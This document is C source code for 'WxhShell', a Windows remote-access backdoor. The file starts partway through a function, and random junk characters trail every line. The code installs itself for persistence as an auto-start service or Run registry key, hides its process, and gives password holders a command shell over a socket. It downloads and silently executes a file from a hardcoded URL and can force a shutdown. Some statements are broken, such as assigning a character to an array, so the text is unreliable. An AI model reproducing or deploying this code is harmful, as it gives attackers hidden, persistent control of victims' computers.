  case 'd': { 8Fh)eha9f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >'$Mp<  
    if(Boot(SHUTDOWN)) Y@iS_lR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N~gzDQ3  
    else { ej d(R+  
    closesocket(wsh); /nsX]V6i  
    ExitThread(0); pki%vRY  
    } r5/0u(\LB  
    break; FV!q!D  
    } T::85  
  // 获取shell \@zHON(  
  case 's': { gJ{)-\  
    CmdShell(wsh); Fo_sgv8O<  
    closesocket(wsh); ~?}Emn;t  
    ExitThread(0); !< ";cw(q  
    break; J;e2&gB  
  } C) s5D  
  // 退出 0+ '&`Q!u  
  case 'x': { j (d~aqW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =qIp2c}Rx  
    CloseIt(wsh); B$K=\6o  
    break; Q&;9 x?e  
    } ?V=ZIGj  
  // 离开 w9imKVry  
  case 'q': { *^4"5X@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eByz-,{P  
    closesocket(wsh); e *C(q~PQ  
    WSACleanup(); _H%c;z+  
    exit(1); B3I`40#  
    break; ]6` %  
        } ObS3 M  
  } !.gIHY  
  } ITBE|b  
 (ZizuHC  
  // 提示信息 F>l] 9!P|m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?l )[7LR4  
} P@B]  
  } reWot&;  
59A}}.@?m  
  return; )akoa,#%6c  
} 8<.Oq4ku  
Il 'fL'3  
// shell模块句柄 t*u:hex  
int CmdShell(SOCKET sock) +6\Zj)  
{ n\53wh@+  
STARTUPINFO si; W!(zT6#  
ZeroMemory(&si,sizeof(si)); Q%G8U#Tm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AkV#J, 3LC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eMsd37J  
PROCESS_INFORMATION ProcessInfo; u#.2w)!D  
char cmdline[]="cmd"; r19 pZAc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3 0H?KAV  
  return 0; NLqzi%s  
} ?a5!H*,  
T5h H  
// 自身启动模式 4[e X e$  
int StartFromService(void) zF<R'XP  
{ @9s$4DS  
typedef struct H{wl% G  
{ L4HI0Mx  
  DWORD ExitStatus; /4Gt{yg Sr  
  DWORD PebBaseAddress; jL luj   
  DWORD AffinityMask; R/YqyT\SM  
  DWORD BasePriority; 5]0 <9a  
  ULONG UniqueProcessId; %h@EP[\  
  ULONG InheritedFromUniqueProcessId; &8lZNv8;(p  
}   PROCESS_BASIC_INFORMATION; e7 o.xR  
,J@  
PROCNTQSIP NtQueryInformationProcess; C6PdDRf  
W6Fo6a"<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V,njO{Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ms]sD3z/W+  
7 <R E_/]  
  HANDLE             hProcess; 4r}51 N\  
  PROCESS_BASIC_INFORMATION pbi; ?@86P|19  
%ET+iIhK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g 7H(PF?  
  if(NULL == hInst ) return 0; Z T%5T}i  
<5051U Eu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2+XA X:YD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); })%{AfDRF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h_'*XWd@  
AwR =]W;j  
  if (!NtQueryInformationProcess) return 0; 9* M,R,y  
@yYkti;4-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F^:3?JA _  
  if(!hProcess) return 0; =s6 opL)  
59u }W 0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l/5 hp.  
[/r(__.  
  CloseHandle(hProcess); `a/`,N  
^2rN>k,?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yG{TH0tq  
if(hProcess==NULL) return 0; E1 2uZ$X  
FSO).=#  
HMODULE hMod; F== p<lrs  
char procName[255]; XiWmV  ?  
unsigned long cbNeeded; >t+P(*u  
!N^@4*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {.Jlbi9!  
gSj,E8-g  
  CloseHandle(hProcess); R;LP:,)  
OyIw>Wfv  
if(strstr(procName,"services")) return 1; // 以服务启动 "AqB$^S9t  
8oGRLYU N  
  return 0; // 注册表启动 2 %]X+`+O  
} AbM'3Mkz  
HoAy_7-5  
// 主模块 2=}FBA,2  
int StartWxhshell(LPSTR lpCmdLine) [-w%/D%@  
{ Hl=xW/%6y  
  SOCKET wsl; 2\$oV  
BOOL val=TRUE; BgT*icd8d  
  int port=0; c71y'hnT  
  struct sockaddr_in door; dE3) | %  
| -H& o]  
  if(wscfg.ws_autoins) Install(); Id9TG/H7  
er\|i. Y  
port=atoi(lpCmdLine); L~3Pm%{@A  
0jfuBj5!  
if(port<=0) port=wscfg.ws_port; 4+tEFxvX&  
4qa.1j(R/  
  WSADATA data; U<XG{<2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "dlV k~  
x{n=;JD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Rf'P}"]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zQ PQ  
  door.sin_family = AF_INET; E{(;@PzE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xIn:ZKJ'  
  door.sin_port = htons(port); i.#:zU%o  
I/N *gy?*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j>kqz>3  
closesocket(wsl); `]aeI'[}R  
return 1; rm_Nn8p,  
}  \=o-  
wd6owr  
  if(listen(wsl,2) == INVALID_SOCKET) { &^nGtW%a 9  
closesocket(wsl); iy"*5<;*DD  
return 1; %iB,IEw  
} hbn([+xY  
  Wxhshell(wsl); \M-OC5fQv  
  WSACleanup(); O/LXdz0B  
2an f$^[  
return 0; <VE@DBWyl~  
dRMx[7jVA  
} : Dp0?&_  
F'Z,]b'st3  
// 以NT服务方式启动 w-jVC^C]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )/P}?` I  
{ }m8q}~>tL  
DWORD   status = 0; uAk.@nfiEv  
  DWORD   specificError = 0xfffffff; ?7A>+EY  
aq-~B~c`g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *1"+%Z^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =~gvZV-<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a'T;x`b8U,  
  serviceStatus.dwWin32ExitCode     = 0; dr"1s-D4IQ  
  serviceStatus.dwServiceSpecificExitCode = 0; x1a:u  
  serviceStatus.dwCheckPoint       = 0; f QFk+C  
  serviceStatus.dwWaitHint       = 0; <3 uNl  
VU#7%ufu&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vQ.R{!",>  
  if (hServiceStatusHandle==0) return; P<-@h1p,  
TA\vZGJ('  
status = GetLastError(); $~kA B8z  
  if (status!=NO_ERROR) W*G<X.Hf  
{ QGz|*]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g)B]FH1  
    serviceStatus.dwCheckPoint       = 0; |y*c9  
    serviceStatus.dwWaitHint       = 0; Rb;'O89Hj@  
    serviceStatus.dwWin32ExitCode     = status; F"kAkX>3}  
    serviceStatus.dwServiceSpecificExitCode = specificError; rM SZ"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3g B7g'U  
    return; `0svy}  
  } /kG_*>.Z  
/_.|E]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ->jDb/a{C  
  serviceStatus.dwCheckPoint       = 0; )5H?Vh>36  
  serviceStatus.dwWaitHint       = 0; Fzcwy V   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }0 ?3:A  
} iDD$pd,e\  
x~sBzTa  
// 处理NT服务事件,比如:启动、停止 CGFDqCNr-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iRBfx  
{ +,l-Nz  
switch(fdwControl) 'fW-Y!k%  
{ (?];VG  
case SERVICE_CONTROL_STOP: mZBo~(}  
  serviceStatus.dwWin32ExitCode = 0; ig"L\ C"T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^?|"L>y  
  serviceStatus.dwCheckPoint   = 0; l"]V6!-U  
  serviceStatus.dwWaitHint     = 0; 1Ws9WU  
  { H*6W q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R-14=|7a-  
  } #;S*V"  
  return; ~G w*r\\+  
case SERVICE_CONTROL_PAUSE: 3XKf!P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1mJ Hued=6  
  break; sRfcF`7  
case SERVICE_CONTROL_CONTINUE: !~Z"9(v'C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,//S`j$S  
  break; 8EY:t zw  
case SERVICE_CONTROL_INTERROGATE: (% 9$!v{3  
  break; vD4*&|8T#  
}; 5R7DDJk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ( 5~h"s  
} 1x^GWtRp  
D'4\*4is  
// 标准应用程序主函数 HT@=evV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V )4J`xg^  
{ 4K74=r),i  
*ui</+  
// 获取操作系统版本 x^CS"v7  
OsIsNt=GetOsVer(); W l4%GB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?ubro0F:  
5-M-X#(  
  // 从命令行安装 AwN!;t_0+N  
  if(strpbrk(lpCmdLine,"iI")) Install(); !'Kj x  
`mqMLo *  
  // 下载执行文件 \NC3'G:Ii  
if(wscfg.ws_downexe) { nFn5v'g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N g,j#  
  WinExec(wscfg.ws_filenam,SW_HIDE); }7X%'Bg=M  
} E"0>yl)  
>d6|^h'0  
if(!OsIsNt) { adw2x pj  
// 如果时win9x,隐藏进程并且设置为注册表启动 .(vwIb8\_  
HideProc(); {Ha57Wk8D  
StartWxhshell(lpCmdLine); M3AXe]<eC1  
} Pc9H0\+Xk  
else @PU [:;  
  if(StartFromService()) ite~E5?#  
  // 以服务方式启动 0$njMnB2l  
  StartServiceCtrlDispatcher(DispatchTable); #;<Y[hR{P  
else W9)&!&<o  
  // 普通方式启动 9FX-1,Jx  
  StartWxhshell(lpCmdLine); ~s{$WL&  
svSVG:48  
return 0; f 1d?.)  
} /O9EQPm(  
KmF]\:sMD  
> P)w?:k  
r=4eP(w=  
=========================================== @WB@]-+J T  
nP$9CA  
ElXFeJ%[G  
c%&>p||  
y)*RV;^  
H>C=zo,oiC  
" Cyp'?N  
olcDt&xv]  
#include <stdio.h> Y$zSQ_k;U  
#include <string.h>  @8 6f  
#include <windows.h> OKV8zO  
#include <winsock2.h> 3sk9`=[{$  
#include <winsvc.h> $J2Gf(RU  
#include <urlmon.h> n*$ g]G$  
Je{ykL?N  
#pragma comment (lib, "Ws2_32.lib") :pUtSs7p}  
#pragma comment (lib, "urlmon.lib") ME dWLFf  
UI#h&j5pW  
#define MAX_USER   100 // 最大客户端连接数 W4N{S.#!  
#define BUF_SOCK   200 // sock buffer =#\:}@J5I  
#define KEY_BUFF   255 // 输入 buffer If.r5z9  
Q20 %"&Xp]  
#define REBOOT     0   // 重启 he4(hX^  
#define SHUTDOWN   1   // 关机  )*[3Vq  
BzzTGWq\  
#define DEF_PORT   5000 // 监听端口 :Sma`U&  
g5yJfRLxp  
#define REG_LEN     16   // 注册表键长度 ]?*wbxU0  
#define SVC_LEN     80   // NT服务名长度 r3Ykz%6  
/o[w4d8  
// 从dll定义API :%.D78&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HV.t6@\};  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O84i;S+-p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oQ#8nu{k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m2o0y++TjW  
]tD]Wx%  
// wxhshell配置信息 v1[29t<I!  
struct WSCFG { &o*A {  
  int ws_port;         // 监听端口 l\mPHA23  
  char ws_passstr[REG_LEN]; // 口令 OY d !v`<  
  int ws_autoins;       // 安装标记, 1=yes 0=no  `]X>V,  
  char ws_regname[REG_LEN]; // 注册表键名 +0~YP*I`/  
  char ws_svcname[REG_LEN]; // 服务名 vbNBLCwug  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PdCEUh\>y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9my^ Y9B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q7!{?\T%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z7#+pPt!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N0lC0 N?_J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eJSxn1GW  
j F>[?L  
}; . ^u,.  
;I*o@x_  
// default Wxhshell configuration TO_e^A#  
struct WSCFG wscfg={DEF_PORT, `g,..Ns-r  
    "xuhuanlingzhe", Ngwb Q7)  
    1, WM{=CD  
    "Wxhshell", xmX 4qtAL  
    "Wxhshell", /B3iC#?  
            "WxhShell Service", G"6 !{4g  
    "Wrsky Windows CmdShell Service", O}P`P'Y|'  
    "Please Input Your Password: ", *fdTpXa  
  1, ~BF&rx5Q  
  "http://www.wrsky.com/wxhshell.exe", j6YOKJX  
  "Wxhshell.exe" ;,TFr}p`  
    }; \8 ":]EU  
Tk>#G{Wb-  
// 消息定义模块 yuVs YV@"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GmG 5[?)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U(Zq= M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9z0p5)]n>  
char *msg_ws_ext="\n\rExit."; Z.WW(C.  
char *msg_ws_end="\n\rQuit."; S 5U;#H  
char *msg_ws_boot="\n\rReboot..."; _&x%^&{  
char *msg_ws_poff="\n\rShutdown..."; C}X\|J  
char *msg_ws_down="\n\rSave to "; n?Q|)2 2  
.N3mb6#[R  
char *msg_ws_err="\n\rErr!"; 5bIw?%dk(  
char *msg_ws_ok="\n\rOK!"; SKtrtm  
-} +[  
char ExeFile[MAX_PATH]; ~dSr5LUD  
int nUser = 0; Z G:{[sT  
HANDLE handles[MAX_USER]; s.#`&Sd>  
int OsIsNt; z{6Z 11|  
l.]xB,k  
SERVICE_STATUS       serviceStatus; h 0|s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @c#(.=  
>usL*b0%  
// 函数声明 =v\.h=~~  
int Install(void); b'g )  
int Uninstall(void); ,I9bNO,%JK  
int DownloadFile(char *sURL, SOCKET wsh); BWNi [^]  
int Boot(int flag); >eaaaq9B-  
void HideProc(void); so; ]&  
int GetOsVer(void); G5!^*jf  
int Wxhshell(SOCKET wsl); \^LFkp  
void TalkWithClient(void *cs); <$YlH@;)`a  
int CmdShell(SOCKET sock); Lr+$_ t}r  
int StartFromService(void); #z(]xI)"  
int StartWxhshell(LPSTR lpCmdLine); Fcx&hj1gQ  
{_}I!`opr$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8(De^H lO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); df=f62  
~~.}ah/_d  
// 数据结构和表定义 ta0|^KAA  
SERVICE_TABLE_ENTRY DispatchTable[] = xG 1n GO  
{ [WJ+h~~ o  
{wscfg.ws_svcname, NTServiceMain}, YR70BOxK  
{NULL, NULL} Smh,zCc>s  
}; vI?, 47Hj+  
[7-?7mp!B  
// 自我安装 "7 yD0T)2  
int Install(void) yu|>t4#GT  
{ >lm&iF3y  
  char svExeFile[MAX_PATH]; dQvcXl]  
  HKEY key; cl1T8vFM  
  strcpy(svExeFile,ExeFile); :3PH8TL  
+t.b` U`-  
// 如果是win9x系统,修改注册表设为自启动 ?M2J wAK5  
if(!OsIsNt) { GY*p?k<i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :m;p:l|W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 54,er$$V  
  RegCloseKey(key); pCDmXB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @W<m 4fi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^OdP4m( >>  
  RegCloseKey(key); }vuARZ>  
  return 0; K"6vXv4QO  
    } iscz}E,Y  
  } `V1]k_h  
} sA~]$A;DM!  
else { Sdo-nt  
Ef\ -VKh  
// 如果是NT以上系统,安装为系统服务 Wqnc{oq |$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x;S @bY  
if (schSCManager!=0) U:`Kss`  
{ SM '|+ d  
  SC_HANDLE schService = CreateService bcyzhK=  
  ( 1 zZlC#V  
  schSCManager, m 5.Zu.  
  wscfg.ws_svcname, "%_+-C<L4  
  wscfg.ws_svcdisp, ]'cs.  
  SERVICE_ALL_ACCESS, Xvv6~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =l6mL+C  
  SERVICE_AUTO_START, #E?4E1bnB  
  SERVICE_ERROR_NORMAL, %>yL1BeA4  
  svExeFile, >?b!QU* a  
  NULL, #WuBL_nZ~  
  NULL, `uFdwO'DD  
  NULL, s7<AfaJPF  
  NULL, #spCtZE  
  NULL | Iib|HQ)  
  ); ^~dWU>  
  if (schService!=0) ]d]]'Hk  
  { dM5-;  
  CloseServiceHandle(schService); ,}PgOJZ  
  CloseServiceHandle(schSCManager); e(sk[guvX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bOB \--:]  
  strcat(svExeFile,wscfg.ws_svcname); }EPY^VIw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [GR; ?R5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _w{Qtj~s|  
  RegCloseKey(key); KXy6Eno  
  return 0; $ `c:&  
    } 1x)J[fyId  
  } sx%[=g+<2(  
  CloseServiceHandle(schSCManager); D- c4EV  
} PsYpxNr  
} 9p/Bh$vJ  
2iOV/=+  
return 1; Z r8*et  
} 3mgD(,(^  
-@s#uA h  
// 自我卸载 7r!x1  
int Uninstall(void) M7T5 ~/4  
{ G2D$aSh  
  HKEY key; d~H`CrQE*  
8r{.jFGv  
if(!OsIsNt) { O?2DQY?jT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t!XwW$@  
  RegDeleteValue(key,wscfg.ws_regname); vt8By@]:  
  RegCloseKey(key); ]`K2 N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vgPCQO([  
  RegDeleteValue(key,wscfg.ws_regname); ~a:  
  RegCloseKey(key); Oz95  
  return 0; Pal=F0-Q\  
  } &pRREu:[4L  
} "[J^YKoF  
} DI>s-7  
else { =  [E  
oxs#866x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ? k/`  
if (schSCManager!=0)  @5FQX  
{ bw7@5=?;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ytkv!]"  
  if (schService!=0) k:;r2f  
  { \dVOwr  
  if(DeleteService(schService)!=0) { v+XJ*N[W  
  CloseServiceHandle(schService); %v|B *  
  CloseServiceHandle(schSCManager); vzM ^$V  
  return 0; .]^?<bG  
  } ueudRb  
  CloseServiceHandle(schService); G[=c Ss,  
  } pP_LR ks}  
  CloseServiceHandle(schSCManager); O-^Ma- }  
} _XBd3JN@  
} C]6O!Pb0  
)e{aN+  
return 1; d6O[ @CyP  
} XSRsGTCC=  
AH^/V}9H  
// 从指定url下载文件 I,tud!p`  
int DownloadFile(char *sURL, SOCKET wsh) { FkF  
{ &Jj<h: *  
  HRESULT hr; kmW4:EA%  
char seps[]= "/"; Y4-t7UlS;  
char *token; 'DR!9De  
char *file; -f .,tM=  
char myURL[MAX_PATH]; c)J%`i$  
char myFILE[MAX_PATH]; ;u JMG  
7! Nsm  
strcpy(myURL,sURL); It(_v  
  token=strtok(myURL,seps); #"!<W0  
  while(token!=NULL) TH;hO).u  
  { TOt dUO  
    file=token; & 21%zPm  
  token=strtok(NULL,seps); ZVBXx\{s  
  } L0,'mS  
2G7Wi!J  
GetCurrentDirectory(MAX_PATH,myFILE); COlqcq'qAu  
strcat(myFILE, "\\"); >Tgv11[  
strcat(myFILE, file); <I?Zk80  
  send(wsh,myFILE,strlen(myFILE),0); -RwE%  cr  
send(wsh,"...",3,0); fC`&g~yK'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c{|p.hd  
  if(hr==S_OK) $FVNCFN%  
return 0; ]^E?;1$f?  
else 9{l}bu/u  
return 1; dPlV>IM$z  
T)/eeZ$  
} 0J9x9j`&j  
o/E >f_k[  
// 系统电源模块 1}x%%RD_  
int Boot(int flag) K?;DMUSY\  
{ b6bHTH0  
  HANDLE hToken; (QEG4&9  
  TOKEN_PRIVILEGES tkp; +7Gwg  
)nkY_' BV  
  if(OsIsNt) { L *wYx|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J1k>07}|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K- v#.e4  
    tkp.PrivilegeCount = 1; D*jM1w_`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t.<i:#rj>l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4?kcv59  
if(flag==REBOOT) { 9[4xFE?|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wr 4,YQM  
  return 0; XFl 6M~ c  
} }bxs]?OW>  
else { c 9Mz]1@f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7Q 3k 7  
  return 0; Txu/{ M,  
} BGSw~6  
  } BPrt'Nc  
  else { { 6il`>=C  
if(flag==REBOOT) { kiEa<-]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {7[Ox<Ho  
  return 0; N2G{<>=  
} $'vU2L  
else { F9PxSk_\9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) V~GDPJ+  
  return 0; /~1+i'7V.,  
} llq<egZpm  
} dysS9a,  
"oyo#-5z  
return 1; &ZO0r ^  
} _a, s )  
m67V_s,7B  
// win9x进程隐藏模块 10&8-p1/mc  
void HideProc(void) [^iN}Lz  
{ hrk r'3lv  
wYea\^co  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LVy yO3e  
  if ( hKernel != NULL ) b%+Xy8a  
  { a?1Wq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KI.unP%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *. t^MP  
    FreeLibrary(hKernel); NEs:},)o  
  } xT8?&Bx  
WJi]t93  
return; +A+)=/i;  
} UKGPtKE<  
K/$KI7 P  
// 获取操作系统版本 q.vIc ?a  
int GetOsVer(void) CpN>p.kM  
{ Wwo0%<2y  
  OSVERSIONINFO winfo; e-;}366}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !WlH'y-I  
  GetVersionEx(&winfo); WH\d| 1)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4+n\k  
  return 1; ;uW FHc5@B  
  else i b m4fa  
  return 0; pH;%ELZ  
} /r 5eWR1G  
y =@N|f!  
// 客户端句柄模块 4H/OBR  
int Wxhshell(SOCKET wsl) SbZ6t$"  
{ st*gs-8jJ;  
  SOCKET wsh; /Oono6j  
  struct sockaddr_in client; Ri'n  
  DWORD myID; +ZYn? #IQ  
@EAbF>>  
  while(nUser<MAX_USER) P>T"cv  
{ NK+o1   
  int nSize=sizeof(client); KvS G;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \vNU,WO  
  if(wsh==INVALID_SOCKET) return 1; buC{ r,  
$b\P|#A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x-c"%Z|  
if(handles[nUser]==0) bt *k.=p  
  closesocket(wsh); -j(6;9"7]|  
else  _F{C\}  
  nUser++; ~&O%N  
  } =N@t'fOr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }]Tx lSp!;  
I fir ,8  
  return 0; k)u[0}   
} =Qq+4F)MD  
Xj*Wu_  
// 关闭 socket 6@f-Glwg  
void CloseIt(SOCKET wsh) Vl]>u+YqE  
{ :&Nbw  
closesocket(wsh); p_ =z#  
nUser--; AW .F3hN)  
ExitThread(0); 0:+E-^X  
} DIvHvFss  
i4Jc.8^9$  
// 客户端请求句柄 QJNFA}*>  
void TalkWithClient(void *cs) qR.Q,(b|  
{ NA*&#X#~  
C~[,z.FvO  
  SOCKET wsh=(SOCKET)cs; ^aQ"E9  
  char pwd[SVC_LEN]; g}i61(  
  char cmd[KEY_BUFF]; ]_Xlq_[/r  
char chr[1]; Ru XC(qcq  
int i,j; g`^x@rj`E  
]Dzlp7Y}  
  while (nUser < MAX_USER) { =sFTxd_"iQ  
mmsPLv6  
if(wscfg.ws_passstr) { wBzC5T%,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 67TwPvh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >/\'zi]L  
  //ZeroMemory(pwd,KEY_BUFF); Si,6o!0k  
      i=0; 'yth'[  
  while(i<SVC_LEN) { B *vM0  
H]!"Zq k  
  // 设置超时 >p/`;Kq@  
  fd_set FdRead; A >$I -T+  
  struct timeval TimeOut; +"(jjxJm  
  FD_ZERO(&FdRead); !BI;C(,RL  
  FD_SET(wsh,&FdRead); \9d$@V  
  TimeOut.tv_sec=8; V]N?6\Op  
  TimeOut.tv_usec=0; |o @%dH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *VeRVaBl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  ]k(]qZ  
d3Rw!slIq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z~Q)/d,Ac  
  pwd=chr[0]; *A< 5*Db:F  
  if(chr[0]==0xd || chr[0]==0xa) { ckn~#UE=  
  pwd=0; 5uf a  
  break; DMS! a$4  
  } *H122njH+T  
  i++; F/Pep?'  
    } OZT.=^:A  
#%s#c0TX  
  // 如果是非法用户,关闭 socket t Pf40`@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7.T?#;'3  
} 1cGmg1U;  
:LTN!jj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nm+s{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G`zm@QL  
.2pK.$.  
while(1) { <Qq*p  
C>~TI,5a3  
  ZeroMemory(cmd,KEY_BUFF); />Nt[o[r  
s(^mZ -i  
      // 自动支持客户端 telnet标准   R4@6G&2d>  
  j=0; ^(<f/C)i  
  while(j<KEY_BUFF) { @KA4N`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V:27)]q  
  cmd[j]=chr[0]; S$k&vc(0  
  if(chr[0]==0xa || chr[0]==0xd) { jtc~DL  
  cmd[j]=0; K>9 ()XT)  
  break; fatf*}eln  
  } >MK98(F  
  j++; 9Ee'Cm  
    } sr}E+qf  
H1T.(M/"  
  // 下载文件 6Iw\c  
  if(strstr(cmd,"http://")) { TKjFp%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~4"dweu?  
  if(DownloadFile(cmd,wsh)) o.\oA6P_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rbQR,Nf2x  
  else <1 pEwI~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }i2V.tVB-  
  } Ewm9\qmg  
